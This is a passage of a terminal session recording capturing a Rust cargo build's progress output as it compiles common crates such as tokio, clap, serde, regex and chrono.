[24.198821, "o", "\u001b[1m\u001b[36m Building\u001b[0m [========> ] 102/270: system-configuration-sys(build), tempfile, regex-syntax, syn, aho-corasick, num-bigint, encoding_rs, signal-hook(build.rs), httparse(build), anstyle, anstyle-query, native-tls(build) \r"]
|
||||
[24.213334, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m colorchoice v1.0.3\r\n\u001b[1m\u001b[36m Building\u001b[0m [========> ] 103/270: system-configuration-sys(build), tempfile, regex-syntax, syn, aho-corasick, num-bigint, encoding_rs, signal-hook(build.rs), colorchoice, httparse(build), anstyle-query, native-tls(build) \r"]
|
||||
[24.248936, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m mime v0.3.17\r\n\u001b[1m\u001b[36m Building\u001b[0m [========> ] 104/270: system-configuration-sys(build), tempfile, regex-syntax, syn, aho-corasick, num-bigint, encoding_rs, mime, signal-hook(build.rs), colorchoice, httparse(build), native-tls(build) \r"]
|
||||
[24.260788, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m is_terminal_polyfill v1.70.1\r\n"]
|
||||
[24.261031, "o", "\u001b[1m\u001b[36m Building\u001b[0m [========> ] 105/270: system-configuration-sys(build), regex-syntax, syn, aho-corasick, num-bigint, encoding_rs, mime, signal-hook(build.rs), colorchoice, httparse(build), is_terminal_polyfill, native-tls(build) \r"]
|
||||
[24.264716, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m sync_wrapper v0.1.2\r\n"]
|
||||
[24.264777, "o", "\u001b[1m\u001b[36m Building\u001b[0m [========> ] 106/270: system-configuration-sys(build), regex-syntax, syn, aho-corasick, num-bigint, encoding_rs, mime, signal-hook(build.rs), sync_wrapper, httparse(build), is_terminal_polyfill, native-tls(build) \r"]
|
||||
[24.26859, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m ipnet v2.11.0\r\n"]
|
||||
[24.26867, "o", "\u001b[1m\u001b[36m Building\u001b[0m [========> ] 107/270: system-configuration-sys(build), ipnet, regex-syntax, syn, aho-corasick, num-bigint, encoding_rs, mime, sync_wrapper, httparse(build), is_terminal_polyfill, native-tls(build) \r"]
|
||||
[24.269272, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m serde_derive v1.0.219\r\n"]
|
||||
[24.269318, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=========> ] 108/270: system-configuration-sys(build), serde_derive, ipnet, regex-syntax, aho-corasick, num-bigint, encoding_rs, mime, sync_wrapper, httparse(build), is_terminal_polyfill, native-tls(build) \r"]
|
||||
[24.300797, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m zerofrom-derive v0.1.6\r\n"]
|
||||
[24.30086, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=========> ] 109/270: system-configuration-sys(build), serde_derive, ipnet, regex-syntax, aho-corasick, num-bigint, encoding_rs, zerofrom-derive, mime, sync_wrapper, httparse(build), native-tls(build) \r"]
|
||||
[24.314188, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m yoke-derive v0.7.5\r\n"]
|
||||
[24.314355, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=========> ] 110/270: system-configuration-sys(build), serde_derive, ipnet, regex-syntax, yoke-derive, aho-corasick, num-bigint, encoding_rs, zerofrom-derive, mime, httparse(build), native-tls(build) \r"]
|
||||
[24.358675, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m zerovec-derive v0.10.3\r\n"]
|
||||
[24.358726, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=========> ] 111/270: system-configuration-sys(build), serde_derive, ipnet, regex-syntax, yoke-derive, aho-corasick, num-bigint, zerovec-derive, encoding_rs, zerofrom-derive, mime, native-tls(build) \r"]
|
||||
[24.409688, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m displaydoc v0.2.5\r\n\u001b[1m\u001b[36m Building\u001b[0m [=========> ] 112/270: system-configuration-sys(build), serde_derive, ipnet, regex-syntax, yoke-derive, aho-corasick, num-bigint, zerovec-derive, encoding_rs, zerofrom-derive, displaydoc, native-tls(build) \r"]
|
||||
[24.599591, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m tokio-macros v2.5.0\r\n\u001b[1m\u001b[36m Building\u001b[0m [=========> ] 113/270: system-configuration-sys(build), serde_derive, ipnet, tokio-macros, regex-syntax, yoke-derive, aho-corasick, num-bigint, zerovec-derive, encoding_rs, zerofrom-derive, displaydoc \r"]
|
||||
[24.643663, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m futures-macro v0.3.31\r\n"]
|
||||
[24.643744, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=========> ] 114/270: system-configuration-sys(build), serde_derive, ipnet, tokio-macros, regex-syntax, yoke-derive, num-bigint, zerovec-derive, encoding_rs, zerofrom-derive, displaydoc, futures-macro \r"]
|
||||
[24.659942, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m icu_provider_macros v1.5.0\r\n"]
|
||||
[24.660005, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=========> ] 115/270: system-configuration-sys(build), serde_derive, icu_provider_macros, tokio-macros, regex-syntax, yoke-derive, num-bigint, zerovec-derive, encoding_rs, zerofrom-derive, displaydoc, futures-macro \r"]
|
||||
[24.706738, "o", "\u001b[K"]
|
||||
[24.706797, "o", "\u001b[1m\u001b[32m Compiling\u001b[0m thiserror-impl v1.0.69\r\n\u001b[1m\u001b[36m Building\u001b[0m [=========> ] 116/270: system-configuration-sys(build), serde_derive, icu_provider_macros, tokio-macros, regex-syntax, yoke-derive, zerovec-derive, encoding_rs, zerofrom-derive, displaydoc, futures-macro, thiserro...\r"]
|
||||
[24.829133, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=========> ] 117/270: system-configuration-sys(build), serde_derive, icu_provider_macros, tokio-macros, regex-syntax, yoke-derive, zerovec-derive, encoding_rs, zerofrom-derive, httparse, futures-macro, thiserror-...\r"]
|
||||
[24.844696, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=========> ] 118/270: serde_derive, icu_provider_macros, native-tls, tokio-macros, regex-syntax, yoke-derive, zerovec-derive, encoding_rs, zerofrom-derive, httparse, futures-macro, thiserror-impl \r"]
|
||||
[24.935985, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==========> ] 119/270: serde_derive, native-tls, tokio-macros, regex-syntax, yoke-derive, zerovec-derive, encoding_rs, zerofrom-derive, httparse, futures-macro, system-configuration-sys, thiserror-impl \r"]
|
||||
[24.974286, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m regex-automata v0.4.9\r\n"]
|
||||
[24.974336, "o", "\u001b[1m\u001b[36m Building\u001b[0m "]
|
||||
[24.97454, "o", "[==========> ] 120/270: serde_derive, native-tls, tokio-macros, regex-syntax, zerovec-derive, encoding_rs, regex-automata, zerofrom-derive, httparse, futures-macro, system-configuration-sys, thiserror-impl \r"]
|
||||
[24.996321, "o", "\u001b[K"]
|
||||
[24.996368, "o", "\u001b[1m\u001b[32m Compiling\u001b[0m tokio v1.44.1\r\n"]
|
||||
[24.996527, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==========> ] 121/270: serde_derive, native-tls, regex-syntax, zerovec-derive, encoding_rs, regex-automata, zerofrom-derive, tokio, httparse, futures-macro, system-configuration-sys, thiserror-impl \r"]
|
||||
[25.002432, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m system-configuration v0.5.1\r\n"]
|
||||
[25.002466, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==========> ] 122/270: serde_derive, native-tls, regex-syntax, zerovec-derive, encoding_rs, regex-automata, zerofrom-derive, tokio, system-configuration, httparse, futures-macro, thiserror-impl \r"]
|
||||
[25.007122, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m num-rational v0.4.2\r\n\u001b[1m\u001b[36m Building\u001b[0m [==========> ] 123/270: serde_derive, native-tls, regex-syntax, encoding_rs, regex-automata, zerofrom-derive, tokio, system-configuration, httparse, num-rational, futures-macro, thiserror-impl \r"]
|
||||
[25.032568, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m anstream v0.6.18\r\n"]
|
||||
[25.033282, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==========> ] 124/270: serde_derive, native-tls, regex-syntax, encoding_rs, regex-automata, zerofrom-derive, tokio, system-configuration, anstream, num-rational, futures-macro, thiserror-impl \r"]
|
||||
[25.059859, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m zerofrom v0.1.6\r\n\u001b[1m\u001b[36m Building\u001b[0m "]
|
||||
[25.059907, "o", "[==========> ] 125/270: serde_derive, native-tls, regex-syntax, encoding_rs, regex-automata, tokio, system-configuration, anstream, num-rational, zerofrom, futures-macro, thiserror-impl \r"]
|
||||
[25.075759, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==========> ] 126/270: serde_derive, regex-syntax, encoding_rs, regex-automata, tokio, system-configuration, anstream, num-rational, zerofrom, signal-hook(build), futures-macro, thiserror-impl \r"]
|
||||
[25.164447, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m ahash v0.8.11\r\n"]
|
||||
[25.164496, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==========> ] 127/270: serde_derive, regex-syntax, encoding_rs, regex-automata, tokio, ahash(build.rs), anstream, num-rational, zerofrom, signal-hook(build), futures-macro, thiserror-impl \r"]
|
||||
[25.165147, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m futures-util v0.3.31\r\n"]
|
||||
[25.168247, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==========> ] 128/270: serde_derive, regex-syntax, futures-util, encoding_rs, regex-automata, tokio, ahash(build.rs), anstream, num-rational, zerofrom, signal-hook(build), thiserror-impl \r"]
|
||||
[25.213807, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m num-iter v0.1.45\r\n"]
|
||||
[25.214192, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==========> ] 129/270: serde_derive, regex-syntax, futures-util, encoding_rs, regex-automata, tokio, ahash(build.rs), anstream, num-rational, zerofrom, num-iter, thiserror-impl \r"]
|
||||
[25.236125, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m num-complex v0.4.6\r\n\u001b[1m\u001b[36m Building\u001b[0m [===========> ] 130/270: serde_derive, regex-syntax, futures-util, num-complex, encoding_rs, regex-automata, tokio, ahash(build.rs), num-rational, zerofrom, num-iter, thiserror-impl \r"]
|
||||
[25.278473, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m crossbeam-utils v0.8.21\r\n"]
|
||||
[25.278525, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===========> ] 131/270: serde_derive, regex-syntax, futures-util, num-complex, encoding_rs, regex-automata, tokio, ahash(build.rs), num-rational, zerofrom, thiserror-impl, crossbeam-utils(build.rs) \r"]
|
||||
[25.307289, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m anyhow v1.0.98\r\n"]
|
||||
[25.307434, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===========> ] 132/270: serde_derive, regex-syntax, futures-util, num-complex, encoding_rs, regex-automata, anyhow(build.rs), tokio, num-rational, zerofrom, thiserror-impl, crossbeam-utils(build.rs) \r"]
|
||||
[25.338384, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m num-conv v0.1.0\r\n"]
|
||||
[25.338438, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===========> ] 133/270: serde_derive, regex-syntax, futures-util, num-complex, regex-automata, anyhow(build.rs), tokio, num-rational, zerofrom, num-conv, thiserror-impl, crossbeam-utils(build.rs) \r"]
|
||||
[25.409289, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m rustix v0.38.44\r\n"]
|
||||
[25.409339, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===========> ] 134/270: serde_derive, regex-syntax, futures-util, rustix(build.rs), num-complex, regex-automata, anyhow(build.rs), tokio, num-rational, zerofrom, thiserror-impl, crossbeam-utils(build.rs) \r"]
|
||||
[25.447503, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m strsim v0.11.1\r\n"]
|
||||
[25.447618, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===========> ] 135/270: serde_derive, regex-syntax, futures-util, rustix(build.rs), strsim, num-complex, regex-automata, anyhow(build.rs), tokio, num-rational, zerofrom, thiserror-impl \r"]
|
||||
[25.467725, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===========> ] 136/270: thiserror, serde_derive, regex-syntax, futures-util, rustix(build.rs), strsim, num-complex, regex-automata, anyhow(build.rs), tokio, num-rational, zerofrom \r"]
|
||||
[25.473512, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m rustversion v1.0.20\r\n"]
|
||||
[25.473567, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===========> ] 137/270: thiserror, serde_derive, rustversion(build.rs), regex-syntax, futures-util, rustix(build.rs), strsim, num-complex, regex-automata, tokio, num-rational, zerofrom \r"]
|
||||
[25.477253, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m time-core v0.1.4\r\n"]
|
||||
[25.477339, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===========> ] 138/270: thiserror, serde_derive, rustversion(build.rs), regex-syntax, futures-util, rustix(build.rs), strsim, num-complex, time-core, regex-automata, tokio, zerofrom \r"]
|
||||
[25.493979, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m bit-vec v0.6.3\r\n"]
|
||||
[25.494049, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===========> ] 139/270: thiserror, serde_derive, rustversion(build.rs), regex-syntax, futures-util, rustix(build.rs), strsim, time-core, regex-automata, bit-vec, tokio, zerofrom \r"]
|
||||
[25.498947, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m powerfmt v0.2.0\r\n"]
|
||||
[25.498992, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===========> ] 140/270: thiserror, serde_derive, rustversion(build.rs), futures-util, rustix(build.rs), strsim, powerfmt, time-core, regex-automata, bit-vec, tokio, zerofrom \r"]
|
||||
[25.516976, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m yoke v0.7.5\r\n"]
|
||||
[25.517027, "o", "\u001b[1m\u001b[36m Building\u001b[0m [============> ] 141/270: thiserror, serde_derive, rustversion(build.rs), futures-util, rustix(build.rs), strsim, powerfmt, time-core, regex-automata, bit-vec, tokio, yoke \r"]
|
||||
[25.551361, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m clap_lex v0.7.4\r\n"]
|
||||
[25.551606, "o", "\u001b[1m\u001b[36m Building\u001b[0m [============> ] 142/270: thiserror, serde_derive, rustversion(build.rs), futures-util, rustix(build.rs), strsim, powerfmt, regex-automata, bit-vec, tokio, clap_lex, yoke \r"]
|
||||
[25.583082, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m heck v0.5.0\r\n"]
|
||||
[25.583155, "o", "\u001b[1m\u001b[36m Building\u001b[0m [============> ] 143/270: thiserror, serde_derive, rustversion(build.rs), futures-util, strsim, powerfmt, regex-automata, bit-vec, tokio, clap_lex, yoke, heck \r"]
|
||||
[25.620283, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m bit-set v0.5.3\r\n"]
|
||||
[25.620448, "o", "\u001b[1m\u001b[36m Building\u001b[0m [============> ] 144/270: thiserror, serde_derive, rustversion(build.rs), futures-util, strsim, regex-automata, bit-vec, tokio, clap_lex, yoke, bit-set, heck \r"]
|
||||
[25.620888, "o", "\u001b[1m\u001b[36m Building\u001b[0m [============> ] 145/270: thiserror, serde_derive, rustix(build), rustversion(build.rs), futures-util, strsim, regex-automata, tokio, clap_lex, yoke, bit-set, heck \r"]
|
||||
[25.668499, "o", "\u001b[1m\u001b[36m Building\u001b[0m [============> ] 146/270: thiserror, serde_derive, rustix(build), futures-util, strsim, regex-automata, tokio, clap_lex, yoke, bit-set, rustversion(build), heck \r"]
|
||||
[25.673766, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m clap_builder v4.5.34\r\n"]
|
||||
[25.673848, "o", "\u001b[1m\u001b[36m Building\u001b[0m [============> ] 147/270: thiserror, serde_derive, rustix(build), futures-util, strsim, regex-automata, tokio, yoke, bit-set, rustversion(build), heck, clap_builder \r"]
|
||||
[25.687039, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m deranged v0.4.1\r\n"]
|
||||
[25.687142, "o", "\u001b[1m\u001b[36m Building\u001b[0m [============> ] 148/270: thiserror, serde_derive, rustix(build), futures-util, strsim, regex-automata, tokio, yoke, rustversion(build), heck, clap_builder, deranged \r"]
|
||||
[25.694934, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m clap_derive v4.5.32\r\n"]
|
||||
[25.69508, "o", "\u001b[1m\u001b[36m Building\u001b[0m [============> ] 149/270: thiserror, serde_derive, clap_derive, rustix(build), futures-util, strsim, regex-automata, tokio, yoke, rustversion(build), clap_builder, deranged \r"]
|
||||
[25.702353, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m time-macros v0.2.22\r\n"]
|
||||
[25.702382, "o", "\u001b[1m\u001b[36m Building\u001b[0m [============> ] 150/270: thiserror, serde_derive, clap_derive, rustix(build), time-macros, futures-util, regex-automata, tokio, yoke, rustversion(build), clap_builder, deranged \r"]
|
||||
[25.946083, "o", "\u001b[1m\u001b[36m Building\u001b[0m [============> ] 151/270: thiserror, clap_derive, rustix(build), time-macros, futures-util, regex-automata, tokio, yoke, rustversion(build), clap_builder, serde, deranged \r"]
|
||||
[26.006998, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=============> ] 152/270: thiserror, clap_derive, rustix(build), time-macros, futures-util, regex-automata, tokio, yoke, rustversion(build), anyhow(build), clap_builder, serde \r"]
|
||||
[26.344192, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m regex v1.11.1\r\n"]
|
||||
[26.344222, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=============> ] 153/270: thiserror, clap_derive, rustix(build), futures-util, regex-automata, tokio, yoke, rustversion(build), anyhow(build), clap_builder, serde, regex \r"]
|
||||
[26.419882, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m num v0.4.3\r\n"]
|
||||
[26.419909, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=============> ] 154/270: num, clap_derive, rustix(build), futures-util, regex-automata, tokio, yoke, rustversion(build), anyhow(build), clap_builder, serde, regex \r"]
|
||||
[26.459008, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=============> ] 155/270: crossbeam-utils(build), clap_derive, rustix(build), futures-util, regex-automata, tokio, yoke, rustversion(build), anyhow(build), clap_builder, serde, regex \r"]
|
||||
[26.563875, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=============> ] 156/270: crossbeam-utils(build), rustix(build), futures-util, regex-automata, tokio, yoke, rustversion(build), anyhow(build), ahash(build), clap_builder, serde, regex \r"]
|
||||
[26.581267, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=============> ] 157/270: crossbeam-utils(build), rustix(build), futures-util, regex-automata, tokio, yoke, rustversion(build), anyhow(build), ahash(build), clap_builder, signal-hook, serde \r"]
|
||||
[26.732902, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m zerovec v0.10.4\r\n"]
|
||||
[26.733036, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=============> ] 158/270: crossbeam-utils(build), rustix(build), futures-util, zerovec, regex-automata, tokio, rustversion(build), anyhow(build), ahash(build), clap_builder, signal-hook, serde \r"]
|
||||
[26.805769, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m pin-project-internal v1.1.10\r\n"]
|
||||
[26.805815, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=============> ] 159/270: crossbeam-utils(build), rustix(build), futures-util, zerovec, pin-project-internal, regex-automata, tokio, rustversion(build), anyhow(build), ahash(build), clap_builder, serde \r"]
|
||||
[26.939474, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m mio v0.8.11\r\n"]
|
||||
[26.939612, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=============> ] 160/270: crossbeam-utils(build), futures-util, zerovec, pin-project-internal, regex-automata, tokio, mio, rustversion(build), anyhow(build), ahash(build), clap_builder, serde \r"]
|
||||
[27.135956, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m getrandom v0.2.15\r\n"]
|
||||
[27.13618, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=============> ] 161/270: crossbeam-utils(build), getrandom, zerovec, pin-project-internal, regex-automata, tokio, mio, rustversion(build), anyhow(build), ahash(build), clap_builder, serde \r"]
|
||||
[27.160029, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m iana-time-zone v0.1.62\r\n"]
|
||||
[27.160304, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==============> ] 162/270: crossbeam-utils(build), getrandom, iana-time-zone, zerovec, pin-project-internal, tokio, mio, rustversion(build), anyhow(build), ahash(build), clap_builder, serde \r"]
|
||||
[27.168847, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m nom v8.0.0\r\n"]
|
||||
[27.168897, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==============> ] 163/270: crossbeam-utils(build), getrandom, nom, iana-time-zone, zerovec, pin-project-internal, tokio, mio, anyhow(build), ahash(build), clap_builder, serde \r"]
|
||||
[27.201855, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m zerocopy v0.7.35\r\n"]
|
||||
[27.202076, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==============> ] 164/270: crossbeam-utils(build), nom, iana-time-zone, zerovec, pin-project-internal, tokio, mio, anyhow(build), ahash(build), zerocopy, clap_builder, serde \r"]
|
||||
[27.227265, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m chrono v0.4.40\r\n"]
|
||||
[27.227339, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==============> ] 165/270: crossbeam-utils(build), nom, zerovec, pin-project-internal, chrono, tokio, mio, anyhow(build), ahash(build), zerocopy, clap_builder, serde \r"]
|
||||
[27.296492, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==============> ] 166/270: crossbeam-utils(build), nom, zerovec, pin-project-internal, chrono, tokio, anyhow(build), ahash(build), zerocopy, clap_builder, serde, rustversion \r"]
|
||||
[27.314139, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m pin-project v1.1.10\r\n\u001b[1m\u001b[36m Building\u001b[0m [==============> ] 167/270: crossbeam-utils(build), nom, pin-project, zerovec, chrono, tokio, anyhow(build), ahash(build), zerocopy, clap_builder, serde, rustversion \r"]
|
||||
[27.373114, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m signal-hook-mio v0.2.4\r\n"]
|
||||
[27.37324, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==============> ] 168/270: crossbeam-utils(build), nom, pin-project, zerovec, chrono, tokio, signal-hook-mio, anyhow(build), ahash(build), clap_builder, serde, rustversion \r"]
|
||||
[27.415303, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m tokio-util v0.7.14\r\n"]
|
||||
[27.415331, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==============> ] 169/270: crossbeam-utils(build), nom, pin-project, zerovec, tokio-util, chrono, tokio, anyhow(build), ahash(build), clap_builder, serde, rustversion \r"]
|
||||
[27.536012, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m tokio-native-tls v0.3.1\r\n"]
|
||||
[27.536162, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==============> ] 170/270: crossbeam-utils(build), nom, tokio-native-tls, pin-project, zerovec, tokio-util, chrono, tokio, anyhow(build), ahash(build), clap_builder, serde \r"]
|
||||
[27.597054, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m futures-executor v0.3.31\r\n"]
|
||||
[27.597106, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==============> ] 171/270: crossbeam-utils(build), nom, pin-project, zerovec, tokio-util, chrono, tokio, futures-executor, anyhow(build), ahash(build), clap_builder, serde \r"]
|
||||
[27.709368, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==============> ] 172/270: crossbeam-utils(build), nom, pin-project, zerovec, anyhow, tokio-util, chrono, tokio, futures-executor, ahash(build), clap_builder, serde \r"]
|
||||
[27.716961, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===============> ] 173/270: crossbeam-utils(build), rustix, nom, pin-project, zerovec, anyhow, chrono, tokio, futures-executor, ahash(build), clap_builder, serde \r"]
|
||||
[27.738433, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m clap v4.5.34\r\n"]
|
||||
[27.738489, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===============> ] 174/270: crossbeam-utils(build), rustix, nom, pin-project, zerovec, anyhow, chrono, tokio, clap, ahash(build), clap_builder, serde \r"]
|
||||
[27.748759, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m fancy-regex v0.11.0\r\n"]
|
||||
[27.748798, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===============> ] 175/270: crossbeam-utils(build), rustix, nom, pin-project, zerovec, anyhow, chrono, tokio, clap, ahash(build), fancy-regex, serde \r"]
|
||||
[27.928307, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===============> ] 176/270: rustix, nom, pin-project, zerovec, anyhow, chrono, tokio, clap, ahash(build), fancy-regex, crossbeam-utils, serde \r"]
|
||||
[27.930598, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m fraction v0.13.1\r\n"]
|
||||
[27.930634, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===============> ] 177/270: rustix, nom, pin-project, zerovec, chrono, tokio, clap, ahash(build), fraction, fancy-regex, crossbeam-utils, serde \r"]
|
||||
[28.09247, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m time v0.3.41\r\n"]
|
||||
[28.094192, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===============> ] 178/270: rustix, nom, pin-project, zerovec, time, tokio, clap, ahash(build), fraction, fancy-regex, crossbeam-utils, serde \r"]
|
||||
[28.171592, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m uuid v1.16.0\r\n"]
|
||||
[28.171762, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===============> ] 179/270: rustix, uuid, nom, pin-project, zerovec, time, tokio, clap, ahash(build), fancy-regex, crossbeam-utils, serde \r"]
|
||||
[28.231062, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m nix v0.27.1\r\n"]
|
||||
[28.23111, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===============> ] 180/270: rustix, uuid, nom, pin-project, zerovec, time, tokio, clap, ahash(build), fancy-regex, nix, serde \r"]
|
||||
[28.244612, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m paste v1.0.15\r\n\u001b[1m\u001b[36m Building\u001b[0m "]
|
||||
[28.244867, "o", "[===============> ] 181/270: rustix, uuid, nom, pin-project, zerovec, time, tokio, clap, paste(build.rs), fancy-regex, nix, serde \r"]
|
||||
[28.286837, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m bytecount v0.6.8\r\n"]
|
||||
[28.286995, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===============> ] 182/270: rustix, uuid, nom, pin-project, zerovec, time, tokio, clap, paste(build.rs), bytecount, nix, serde \r"]
|
||||
[28.342152, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m heck v0.4.1\r\n"]
|
||||
[28.342211, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===============> ] 183/270: uuid, nom, pin-project, zerovec, time, tokio, clap, heck, paste(build.rs), bytecount, nix, serde \r"]
|
||||
[28.36806, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m num-cmp v0.1.0\r\n"]
|
||||
[28.368385, "o", "\u001b[1m\u001b[36m Building\u001b[0m [================> ] 184/270: nom, pin-project, zerovec, num-cmp, time, tokio, clap, heck, paste(build.rs), bytecount, nix, serde \r"]
|
||||
[28.381471, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m option-ext v0.2.0\r\n"]
|
||||
[28.381606, "o", "\u001b[1m\u001b[36m Building\u001b[0m [================> ] 185/270: nom, pin-project, zerovec, num-cmp, time, option-ext, tokio, clap, heck, bytecount, nix, serde \r"]
|
||||
[28.383891, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m hex v0.4.3\r\n"]
|
||||
[28.384002, "o", "\u001b[1m\u001b[36m Building\u001b[0m [================> ] 186/270: nom, hex, pin-project, zerovec, num-cmp, time, option-ext, tokio, clap, heck, nix, serde \r"]
|
||||
[28.42974, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m home v0.5.11\r\n"]
|
||||
[28.430048, "o", "\u001b[1m\u001b[36m Building\u001b[0m [================> ] 187/270: home, nom, hex, pin-project, zerovec, num-cmp, time, tokio, clap, heck, nix, serde \r"]
|
||||
[28.452346, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m strum_macros v0.25.3\r\n"]
|
||||
